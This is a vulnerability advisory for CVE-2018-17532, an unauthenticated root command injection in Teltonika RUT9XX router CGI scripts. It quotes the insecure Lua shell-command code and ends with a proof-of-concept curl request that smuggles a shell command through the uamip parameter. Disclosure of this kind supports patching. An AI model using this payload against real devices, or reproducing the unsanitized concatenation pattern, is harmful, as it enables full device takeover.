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advisories/2018/SBA-ADV-20180319-01_Teltonika_OS_Command_Injection/
advisories/2018/SBA-ADV-20180319-01_Teltonika_OS_Command_Injection/

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Teltonika RUT9XX Unauthenticated OS Command Injection

Vulnerability Overview

Teltonika RUT9XX routers with firmware before 00.04.233 are prone to multiple unauthenticated OS command injection vulnerabilities in autologin.cgi and hotspotlogin.cgi due to insufficient user input sanitization. This allows remote attackers to execute arbitrary commands with root privileges.

  • Identifier : SBA-ADV-20180319-01
  • Type of Vulnerability : OS Command Injection
  • Software/Product Name : Teltonika RUT955
  • Vendor : Teltonika
  • Affected Versions : Firmware RUT9XX_R_00.04.172 and probably prior
  • Fixed in Version : RUT9XX_R_00.04.233
  • CVE ID : CVE-2018-17532
  • CVSSv3 Vector : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CVSSv3 Base Score : 9.8 (Critical)

Vendor Description

RUT955 is a highly reliable and secure LTE router with I/O, GNSS and RS232/RS485 for professional applications. Router delivers high performance, mission-critical cellular communication and GPS location capabilities.

Source: https://teltonika.lt/product/rut955/

Impact

An attacker can fully compromise the device, by exploiting the vulnerabilities documented in this advisory. Sensitive data stored or transmitted via the device might get exposed through this attack.

We recommend upgrading to version RUT9XX_R_00.04.233 or newer, which includes fixes for the vulnerabilities described in this advisory.

Vulnerability Description

Several parameters of the scripts autologin.cgi and hotspotlogin.cgi are affected by OS command injection vulnerabilities. The scripts are part of the coova-chilli captive portal. However, the vulnerabilities are exploitable regardless of the device configuration, even if no captive portal is configured.

More concretely, the following parameters are vulnerable:

  • /cgi-bin/autologin.cgi
    • reply
    • uamport
    • challenge
    • userurl
    • res
    • reason
    • If res=success
      • uamip
      • uamport
      • userurl
  • /cgi-bin/hotspotlogin.cgi
    • If send=1
      • uamip
      • TelNum
      • challenge
      • uamport
      • userurl
    • If button=1 or (res=wispr and UserName=1)
      • uamport
      • uamip
    • If res=success or res=already or res=popup2
      • uamip
      • uamport
    • If res=logoff or res=popup3
      • uamip
      • uamport

The affected scripts use these parameters to build OS commands via string concatenation without proper sanitization.

The vulnerabilities are located in the source files hotspotlogin.cgi and landing_page_functions.lua, which is included from autologin.cgi and hotspotlogin.cgi.

The landing_page_functions.lua script provides multiple functions, which are either vulnerable to OS command injection themselves or propagate insecure usage.

For example, it provides the function getParam, which directly passes the argument to io.popen:

[...]
function getParam(string)
        local h = io.popen(string)
        local t = h:read()
        h:close()
        return t
end
[...]

landing_page_functions.lua also provides the functions debug and get_ifname, which use os.execute and getParam in an insecure way:

[...]
function debug(string)
        if debug_enable == 1 then
                os.execute("/usr/bin/logger -t hotspotlogin.cgi \""..string.."\"")
        end
end
[...]
function get_ifname(ip)
        local result = getParam(format("ip addr | grep \"%s\"", ip))
        local tun = string.match(result, "(tun%d+)")
        local ifname = "wlan0"
[...]

For example, hotspotlogin.cgi makes use of the functions get_ifname and getParam. Occasionally, it also insecurely uses os.execute directly:

[...]
if send and send ~= "" and tel_num then
        local ifname = get_ifname(uamip)
        local pass = generate_code(ifname) or "0000"
        tel_num = tel_num:gsub("%%2B", "+")
        local exists = getParam("grep \"" ..tel_num.. "\" /etc/chilli/" .. ifname .. "/smsusers")
        local user = string.format("%s", pass)
        local uri = os.getenv("REQUEST_URI")
        local message = string.format("%s Password - %s  \n Link - http://%s%s?challenge=%s&uamport=%s&uamip=%s&userurl=%s&UserName=%s&button=1", tel_num, pass, uamip, uri, challenge, uamport, uamip, userurl, pass)
        local smsotp_mesg=string.format("%s;%s", tel_num, pass)
        message = getParam(string.format("/usr/sbin/gsmctl -Ss \"%s\"", message))

        if message == "OK" then
                os.execute("echo \""..smsotp_mesg.."\" >> /tmp/smsotp.log")
                sms = "sent"
                if exists then
                        os.execute("sed -i 's/" ..exists.. "/" ..user.. "/g' /etc/chilli/" .. ifname .. "/smsusers")
                else
                        os.execute("echo \"" ..user.. "\" >>/etc/chilli/" .. ifname .. "/smsusers")
                end
[...]

In one of the first lines of the above code snippet, hotspotlogin.cgi calls get_ifname with unsanitized user input from the parameter uamip. A few lines later it calls getParam with unsanitized user input from the parameter TelNum. In a further call to getParam it uses more unsanitized user input.

There are futher locations that call insecure functions like debug and get_ifname either directly or indirectly with user input from the scripts autologin.cgi and hotspotlogin.cgi.

Proof-of-Concept

For example, an attacker can exploit this vulnerability by manipulating the uamip parameter:

curl -v -o /dev/null "http://$IP/cgi-bin/hotspotlogin.cgi" -d 'send=1&uamip="; id >/tmp/test #'

The device executes the commands with root privileges:

# cat /tmp/test
uid=0(root) gid=0(root)

Timeline

  • 2018-03-19 identification of vulnerability in version RUT9XX_R_00.04.84
  • 2018-04-10 detailed analysis of version RUT9XX_R_00.04.161
  • 2018-04-16 re-test of version RUT9XX_R_00.04.172
  • 2018-04-16 initial vendor contact through public address
  • 2018-04-18 vendor response with security contact
  • 2018-04-19 disclosed vulnerability to vendor security contact
  • 2018-04-26 vendor released fix in version RUT9XX_R_00.04.233
  • 2018-07-09 re-test of version RUT9XX_R_00.05.00.5
  • 2018-09-25 request CVE from MITRE
  • 2018-09-26 MITRE assigned CVE-2018-17532
  • 2018-10-11 public disclosure

References

Credits